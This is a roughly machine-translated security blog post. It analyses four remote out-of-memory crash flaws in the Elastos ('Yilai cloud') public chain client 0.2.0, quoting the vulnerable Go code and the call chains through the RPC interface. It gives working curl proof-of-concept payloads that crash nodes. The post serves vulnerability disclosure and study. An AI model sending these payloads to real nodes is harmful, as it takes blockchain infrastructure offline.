public chain security also comes to cloud. details of multiple remote dos vulnerabilities

Posted by trammel at 2020-02-27

With regard to blockchain security data, at present, the Internet mainly focuses on wallet security, smart contract security, exchange security and so on, while there is little information about public chain security. Public chain is the basis of all the above business applications. This paper will introduce a more common DOS vulnerability in public chain.

0x1 knowledge reserve

There is not much difference between the public chain client and other traditional software clients. The problems encountered in the traditional software may be encountered in the public chain client.

So the common ways to make a client crash are:

Make the program run-time exception, and this exception is not fault-tolerant, such as array overrun, divide by 0, memory overflow, etc.

Make the system environment not meet the requirements of program running, such as oom caused by creating large array, oom caused by infinite recursion, etc

Multi thread deadlock


The harm of public link nodes being easily attacked offline is huge, for example, it will reduce the network computing power, resulting in 51% attacks and so on.

This paper mainly introduces crash vulnerability caused by oom according to these vulnerabilities in Yilai cloud.

0x2 vulnerability analysis

This paper mainly analyzes the four vulnerabilities of the following value 20 eth of Yilai cloud public chain 0.2.0:






Servers / interfaces.go vulnerability snippet:

func DiscreteMining(param Params) map[string]interface{} {        
   if LocalPow == nil {                
       return ResponsePack(PowServiceNotStarted, "")    }    count, ok := param.Uint("count")    
   if !ok {    
       return ResponsePack(InvalidParams, "")    }
   ret := make([]string, count)   
   blockHashes, err := LocalPow.DiscreteMining(uint32(count))        
    if err != nil {            
        return ResponsePack(Error, err)     }        
    for i, hash := range blockHashes {         ret[i] = ToReversedString(*hash)     }        
    return ResponsePack(Success, ret) }

According to the above code, the discretemining function will receive a param parameter and take a value from param to assign to the count variable.

Then the count variable will be in the make function later

According to the official documents, make function is used to create arrays, and the length of the array is controlled by the second parameter. In theory, as long as the second parameter is large, an array with a large amount of memory will be generated, resulting in oom.

The second parameter of the make function can be controlled by the param parameter, so as long as the param parameter is remote controllable, the node crash can be made remotely.

Finally, in httpjsonrpc / server.go, distribute discretemining to call remotely through the RPC interface, and the current client is to enable RPC by default and bind the public network address, so it can send malicious packets to any node on the public network to crash.

Startrpcserver function snippet:

func StartRPCServer() {    mainMux = make(map[string]func(Params)    
   map[string]interface{})    http.HandleFunc("/", Handle)            mainMux["togglemining"] = ToggleMining  
   mainMux["discretemining"] = DiscreteMining    err :=http.ListenAndServe(":"+strconv.Itoa(Parameters.HttpJsonPort), nil)
   if err != nil {        log.Fatal("ListenAndServe: ", err.Error())    } }


curl --data-binary '{"method":"discretemining","params":{"count":"99999999999999"}}' -H 'Content-Type:application/json' http://*.*.*.*:20333

Loophole recurrence:


Core / payloadwithdrawfromsidechain.go vulnerability code fragment:

func (t *PayloadWithdrawFromSideChain) Deserialize(r io.Reader, version byte) error {    height, err := common.ReadUint32(r)
   if err != nil {
       return errors.New("[PayloadWithdrawFromSideChain], BlockHeight deserialize failed.")    }    address, err := common.ReadVarString(r)
   if err != nil {
       return errors.New("[PayloadWithdrawFromSideChain], GenesisBlockAddress deserialize failed.")    }
   length, err := common.ReadVarUint(r, 0)    if err != nil {
       return errors.New("[PayloadWithdrawFromSideChain], SideChainTransactionHashes length deserialize failed")    }    t.SideChainTransactionHashes = nil    t.SideChainTransactionHashes = make([]common.Uint256, length)    
i := uint64(0); i < length; i++ {  
hash common.Uint256        err := hash.Deserialize(r)
       if err != nil {
           return errors.New("[WithdrawFromSideChain], SideChainTransactionHashes deserialize failed.")        }        t.SideChainTransactionHashes[i] = hash    }    t.BlockHeight = height    t.GenesisBlockAddress = address    return nil}

This is also because the second parameter of the make function is controlled by the parameter R. as long as R is controlled, the make function can cause oom, thus crash.

It is found in sendrawtransaction function in servers / interface.go that transaction's deserialize function is called indirectly, as follows:

func SendRawTransaction(param Params) map[string]interface{} {
str, ok := param.String("data")
   if !ok {
       return ResponsePack(InvalidParams, "need a string parameter named data")    }
bys, err := HexStringToBytes(str)
   if err != nil {
       return ResponsePack(InvalidParams, "hex string to bytes error")    }
   var txn Transaction
   err := txn.Deserialize(bytes.NewReader(bys)); err != nil {        
ResponsePack(InvalidTransaction, "transaction deserialize error")    }
   if errCode := VerifyAndSendTx(&txn); errCode != Success {
       return ResponsePack(errCode, errCode.Message())    }
   return ResponsePack(Success, ToReversedString(txn.Hash())) }

According to the superscript red code, it can be found that the sendrawtransaction function will first copy the data parameter from the RPC interface to the variable STR, and then the variable str will be converted to bytes and copied to the variable bytes. Finally, the bytes variable will be brought into the transaction deserialize function.

Take a look at the deserialize function of transaction:

func (tx *Transaction) Deserialize(r io.Reader) error {

   if err := tx.DeserializeUnsigned(r); err != nil
       return nil

The parameter r is brought into the deserializeunsigned function of transaction. Continue to trace:

func (tx *Transaction) DeserializeUnsigned(r io.Reader) error {
   tx.Payload, err = GetPayload(tx.TxType)
   if err != nil {
       return err    }    err = tx.Payload.Deserialize(r, tx.PayloadVersion)
       return nil
func GetPayload(txType TransactionType) (Payload, error) {
   var p Payload
   switch txType {
               case WithdrawFromSideChain:
           p = new(PayloadWithdrawFromSideChain)
       case TransferCrossChainAsset:            p = new(PayloadTransferCrossChainAsset)
       default:return nil, errors.New("[Transaction], invalid transaction type.")    }
   return p, nil

In this function, get tx.payload through getpayload (tx.txtype), and then call the deserialize function of tx.payload. As long as you can control the type of payload to be payloadwithdrawfromsidechain, you can trigger the deserialize function of payloadwithdrawfromsidechain, and transaction is transmitted remotely through RPC interface, so the fields of TX object are controllable.

The final utilization chain: sendrawtransaction interface of RPC - > deserialize function of transaction - > deserialize unsigned function of transaction - > get payloadwithdrawfromsidechain object through getpayload - > call its deserialize function - > trigger make - > OOM


curl --data-binary '{"method":"sendrawtransaction","params":{"data":"0701100000000196ffffffffff"}}' -H 'Content-Type:application/json' http://*.*.*.*:20336

Loophole recurrence:


The above deserialize function also causes oom, but the trigger point is different.

The trigger point this time is in the submitauxblock function in servers / interfaces.go:

func SubmitAuxBlock(param Params) map[string]interface{} {    blockHash, ok := param.String("blockhash")
   if !ok {
       return ResponsePack(InvalidParams, "parameter blockhash not found")    }
   var msgAuxBlock *Block
   if msgAuxBlock, ok = LocalPow.MsgBlock.BlockData[blockHash]; !ok {        log.Trace("[json-rpc:SubmitAuxBlock] block hash unknown", blockHash)
       return ResponsePack(InternalError, "block hash unknown")    }    auxPow, ok := param.String("auxpow")
   if !ok {
       return ResponsePack(InvalidParams, "parameter auxpow not found")    }
   var aux aux.AuxPow    buf, _ := HexStringToBytes(auxPow)
   if err := aux.Deserialize(bytes.NewReader(buf)); err != nil {        log.Trace("[json-rpc:SubmitAuxBlock] auxpow deserialization failed", auxPow)
       return ResponsePack(InternalError, "auxpow deserialization failed")    }
   return ResponsePack(Success, true) }

According to the above code, it can be found that the auxpow parameter from the RPC interface will be transferred to the variable buf after being converted to bytes, and the variable buf will be brought into the deserialize function finally, so the whole process is controllable. The only disadvantage is that this trigger point needs to provide another parameter blockhash. If this parameter is not provided or provided incorrectly, it will not be able to be executed further. No Fortunately, there is also a createauxblock function, which can be used to create an auxblock and get its blockhash.


curl --data-binary '{"method":"createauxblock","params":{"paytoaddress":"0701100000000196ffffffffff"}}' -H 'Content-Type:application/json' http://*.*.*.*:20336
curl --data-binary '{"method":"submitauxblock","params":{"blockhash":"上个请求返回的blockhash","auxpow":"ffffffffffffffffff"}}' -H 'Content-Type:application/json' http://*.*.*.*:20336

Loophole recurrence:


The last problem is not in the source code of Yilai cloud public chain, but in the official dependency package (Elastos. ELA. Utility) of Yilai cloud public chain

Common / serialize.go vulnerability snippet:

func ReadVarBytes(reader io.Reader) ([]byte, error) {        val, err := ReadVarUint(reader, 0)
   if err != nil {
       return nil, err        }        str, err := byteXReader(reader, val)
       if err != nil {
           return nil, err            }    
           return str, nil

           func byteXReader(reader io.Reader, x uint64) ([]byte, error) {        p := make([]byte, x)        n, err := reader.Read(p)
    if n > 0 {
        return p[:], nil  
    return p, err     }

           func byteXReader(reader io.Reader, x uint64) ([]byte, error) {        p := make([]byte, x)        n, err := reader.Read(p)    if n > 0 {        return p[:], nil      }     return p, err    }

The readvarbytes function will take a value from the reader parameter to the Val variable, the Val variable will be brought into the bytexreader function, and the bytexreader function will bring the received second parameter into the second parameter of the make function, so as long as the reader is controllable, a payload can be constructed to cause the make function to cause oom.

Because this function is in a general tool library, it can be triggered theoretically from many places. The vulnerability is triggered by the deserialize function of sendrawtransaction function of RPC interface.

func (tx *Transaction) Deserialize(r io.Reader) error {
   for i := uint64(0); i < count; i++ {
       var program Program
       if err := program.Deserialize(r); err != nil {
           return errors.New("transaction deserialize program error: " + err.Error())        }        tx.Programs = append(tx.Programs, &program)    }
   return nil

Then we call the Deserialize function of Program:

func (p *Program) Deserialize(w io.Reader) error {    parameter, err := ReadVarBytes(w)
   if err != nil {
       return errors.New("Execute Program Deserialize Parameter failed.")    }    p.Parameter = parameter
   code, err := ReadVarBytes(w)
   if err != nil {
       return errors.New("Execute Program Deserialize Code failed.")    }    p.Code = code
   return nil

Then it calls the readvarbytes function in the dependency library, which will call the bytexreader function that triggers the oom. The data is all passed from the RPC interface, so it is controllable.

Then it is clear to use the chain: sendrawtransaction interface of RPC - > deserialize function of transaction - > deserialize function of program - > readvarbytes function in dependency Library - > bytexreader function - > trigger make - > OOM


curl --data-binary '{"method":"sendrawtransaction","params":{"data":"0301ffffffffff"}}' -H 'Content-Type:application/json' http://*.*.*.*:20336

Loophole recurrence:

0x3 summary

Crash vulnerability is very common in the traditional security field. For example, in the fuzzy browser, when it encounters some special input, the browser will crash. However, if it is just crash, in the traditional client field, the harm is not very great.

However, it is different in the blockchain. Any small problem can be magnified infinitely, for example, integer overflow vulnerability leads to excessive coinage. So as for crash vulnerability, it is also a high-risk vulnerability in the public chain of the blockchain, because the public chain node is both the client and the server, belonging to the infrastructure of the whole public chain ecology.

At present, due to the relatively high threshold of public chain security, there are few researchers. The DVP foundation will gradually open classic vulnerability cases in the industry in accordance with the principle of responsible disclosure, so as to contribute to the field of blockchain security. At the same time, we hope more white hats will participate in the field of blockchain security, which is still in the wild stage.